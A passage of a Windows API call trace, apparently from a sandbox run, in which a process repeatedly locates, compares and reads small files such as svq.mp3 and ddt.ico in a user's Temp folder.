cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.605] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.605] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.605] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.605] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.605] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.605] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.605] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.605] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.605] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.606] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.606] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.606] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.606] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.606] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.606] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.606] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.607] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.607] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.607] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.607] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.607] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.607] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.607] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.607] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.607] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.608] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.608] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.608] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.608] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.608] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.608] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.608] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.608] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.608] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.608] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.609] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.609] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.609] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.609] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.609] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.609] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.609] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.609] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.609] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.609] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.609] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.610] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.610] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.610] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.610] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.610] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.610] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.610] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.610] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.611] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.611] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.611] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.611] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.611] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.611] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.611] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.611] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.611] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.611] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.611] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.612] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.612] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.612] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.612] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.612] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.612] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.612] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.612] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.612] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.612] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.612] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.612] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.613] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.613] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.613] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.613] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.613] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.613] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.613] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.613] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.614] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.614] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.614] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.614] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.614] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.614] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.614] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.614] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.614] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.615] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.615] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.615] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.615] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.615] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.615] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.615] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.615] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.615] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: 